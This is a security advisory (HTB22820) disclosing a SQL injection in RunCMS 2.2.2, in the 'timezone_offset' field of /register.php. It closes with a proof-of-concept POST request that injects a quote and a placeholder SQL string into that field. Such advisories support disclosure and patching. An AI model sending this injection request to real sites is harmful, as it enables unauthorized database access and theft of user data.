HTB22820: SQL Injection in RunCMS

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Vulnerability ID: HTB22820
Reference: http://www.htbridge.ch/advisory/sql_injection_in_runcms.html
Product: RunCMS
Vendor: http://www.runcms.org/ ( http://www.runcms.org/ ) 
Vulnerable Version: 2.2.2
Vendor Notification: 27 January 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/register.php" script to 
properly sanitize user-supplied input in "timezone_offset" variable.
Attacker can alter queries to the application SQL database, execute arbitrary 
queries to the database, compromise the application, access or modify sensitive 
data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


POST /register.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 299

uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish